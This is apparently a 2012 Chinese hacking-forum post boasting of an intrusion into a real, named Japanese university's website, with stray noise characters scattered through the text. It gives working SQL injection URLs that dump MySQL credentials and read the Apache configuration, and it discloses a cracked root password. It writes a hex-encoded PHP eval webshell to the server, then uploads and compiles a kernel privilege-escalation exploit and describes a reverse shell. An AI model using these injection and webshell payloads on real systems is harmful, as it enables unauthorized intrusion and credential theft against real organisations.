找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2437|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析# r4 W2 e( _! v" C

* Z  M, J+ i6 ]# N4 u4 ]http://www.doshisha.ac.jp/chs/news/index.php?i=-1
3 g0 r. F6 n( Q' e, M然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
4 L% q/ G4 ^' P: }
1 y4 W* q) T3 thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user  `) B3 \( U9 }5 U' B3 I+ z( }* n
0 }, C2 ~+ R: V: s# l4 W% L
# P; a& ]' e' d2 z) k0 H
5 g" f* H. A! ?+ K  s6 h
//@@datadir为数据库文件路径 . ~: |  y: l$ q  R# a
& T- @/ |+ Q9 R6 v+ @

7 W5 E! z& v% m) a//load_file读取网站容器apache的配置文件
3 }8 o# ~2 I# P7 _
# f% e3 P  \6 b( E2 y$ e( `4 c5 S- V6 _9 c, l% c& `& J# }+ U
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 * ~. B$ Z  `% ]8 ^1 n+ e" t
复制代码
( F' r* e9 q' q. ^- o1 ~- k# O7 p1 A
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。1 y3 G  P+ [! A5 h: i

8 a3 d& _( k' U( Y6 Z+ ^1 d而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。& I" Y4 J% Z% U. [( o& `: J! `) m
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)7 ~! I  Q: a6 S5 B2 H! q

+ S0 |6 Q% v; M! M! N前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。. U9 g/ y3 n$ ?% G
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html% U' A1 l+ o8 f% \, h8 r

# q2 B9 i, K/ P- @& Q: ?0 m既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/) \6 \  _9 M* k+ k
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。, {9 t' v, b2 [3 n" }
直接写一句话:7 Z1 v- U% e; }+ O# M& a5 t
  R: h1 K& H6 ?
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#1 r/ }& Z( m0 i1 \2 r* Z( R
+ b  z* S. t0 Q5 S

$ |3 r! j% w1 ^' j
, p( L0 _" r. t# B& N; c+ W9 o' s4 M//最后的#是为了闭合前面的语句 1 d) Z1 N4 h3 {5 O, X5 g, F
# Q, X7 o# g, U" R* I( e8 n
8 K: M. t( |! `. v" F; a
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 4 D+ f3 f' U$ H) j
: w  Z' @$ u' T
' w$ f$ ^; w9 U
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 8 T! X# F- b2 U) _/ E# y( U
0 J( s( z, z* f

6 v. E3 `( I* J7 F% [0 w  A' q9 [& Z//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 , b/ Q# B- D& H8 _( {3 V
; h* r8 d2 ]7 D8 x) c

+ p+ L! E& P$ u# R1 H9 o//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 t0 t+ @# M# S8 D9 C8 C; p//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- V) {8 |) @: f* H/ Y9 e复制代码% m, m7 D0 t' _" P1 m3 H& M
- G" q; I. }$ I% U8 y" k! m
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有* P; q1 M" x* A4 Q2 n  o" f  A
通过上述注入语句,我们就得到了一句话木马:
( Y6 b! c9 L" ^  c: k6 X0 B* H7 E; S
3 Y! S% {1 C0 Y% j - {" p' N  h( W6 x4 P

) x  x' k% e9 f
! ?) C) b  c) x0 `6 O4 o! k
0 r  y* z8 n6 J- \1 W4 L! s5 zhttp://www.doshisha.ac.jp/english/engnews_img/aa.php
! M4 [4 N% p2 [, G$ E1 j复制代码+ E" ]4 I8 k8 ~, a. t. l4 Z
% P, T9 i' J. K2 m, S1 V% y; W
用菜刀连接,密码是cmd,如图所示:' G* A( T8 U+ [3 ~9 `/ `
然后在命令提示行里看了一下,现在的权限是:
8 E# x* @- ~/ A1 R! l! {! x- P
! e. D# c# `( Y+ j4 T之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
7 S, L. Z' Z$ e7 z. o好在赋权给这个文件夹不需要root,直接执行赋权语句:! s9 l6 H8 x9 J# P8 t
) V2 t) v# `4 X* g) n

+ l& K0 @  W# R9 h7 ]0 p# N. e* S' @1 n8 ]; n5 d

5 A" ~$ ~$ c) J8 D1 \" S
' |5 e; F0 _6 {8 Z- s' f- t4 \chmod +x /tmp/
) D, r4 ]  F5 M: L* W复制代码4 q1 S2 ~- B9 \, F0 @2 \2 a% R  z8 |
# q; e) \' d% ^4 N% V
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行6 w! s, q1 p1 Y% z5 o+ R
然后就查了一下内核版本:5 \  v6 \, b* l' e1 `5 u
- F( V6 E; J& g7 T+ a
0 {$ e: z) v; T( X3 Q
" W9 P9 S& G+ }$ Q3 A
& S# S2 L9 H& a  \. `

! _7 ^7 j4 `0 w+ \5 Nuname-a
8 C3 z& o' d, g/ d+ s% V9 m. ~3 h , g* s% Q2 x5 X/ f1 G

' U  x8 m# ~0 Z4 z9 _8 S) ^//其实lsb_release -a
3 o3 d# `0 \7 y0 N" K& v复制代码5 [. C8 ^4 H2 }" }& c
+ q# a! b. @/ j8 x3 `$ V
如图所示:: d/ ~' P$ i1 ?( ^) z0 @

& Y  I0 }% Q/ i# y' N内核版本:linux mainz1 2.6.28-194.e15
% P9 X  m) `  E$ u系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga). M- j/ E+ Z7 b' g- R' `2 w
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
8 h! Q$ r5 ^' m5 Z  e; o8 a, E9 r2 H7 s6 {% w1 h5 M
然后给予执行权限
4 M) h$ W- t( ]7 c/ T+ ^8 E一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样6 @. ?1 G( h. o, t' ]9 W

1 Q1 Q: T  i) E. E
" L# b% z& I) P, B0 s- I) q
  k. K  x8 `3 W9 P( `5 u% t
( Q( `$ A  {4 o8 u% r9 {# B; }
6 e7 h& e9 j" x$ R5 Nchmod +x /tmp/2.6.18-194 5 _4 X' e/ _; B& O2 c
复制代码 然后直接执行!~+ X# F7 e  [" \: _% B3 w

- x3 M2 a& z2 w7 V* y4 h总结:
; `/ s$ t" {, [3 c2 r这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了& W- ?. y+ P) V+ o* D4 H% ^
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
( b. C+ l* [1 k4 E3 R/ m4 B- M  \( S- i' V' q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表